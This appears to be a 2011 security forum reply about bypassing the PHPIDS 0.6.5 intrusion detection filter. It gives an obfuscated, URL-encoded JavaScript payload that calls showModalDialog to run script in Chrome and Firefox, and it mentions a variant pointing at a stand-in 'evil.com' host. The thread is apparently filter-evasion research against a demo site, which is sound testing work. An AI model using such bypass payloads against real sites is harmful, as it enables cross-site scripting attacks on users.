Re: PHPIDS 0.6.5
Date: June 28, 2011 10:56PM
thornmaker Wrote:
-------------------------------------------------------
> nice work hafif :)
Thanks :)
Here is one for Chrome and FF. using a popup.
http://demo.phpids.org/?test=showModalDialog%28%28/javascript/%28{a:/javascript/,b:1}.a%29%29%2b%28/:aler/%28{a:/:aler/,b:1}.a%29%29%2b%28/t.1.%2b1/%28{a:/t%281%29%2b1/,b:1}.a%29%29%29;
or you can just showModalDialog("http://evil.com"), but then you will lose the domain context (and you want it)
If popupblocker is on, it will block the script, if not the script will run.
Otherwise, clicking on the links and launching the "onclick" events, will cause script execution.
I am sure I can get it simplified... but I am to tired (it's 4 AM )
Edited 6 time(s). Last edit at 06/29/2011 06:03AM by hafif.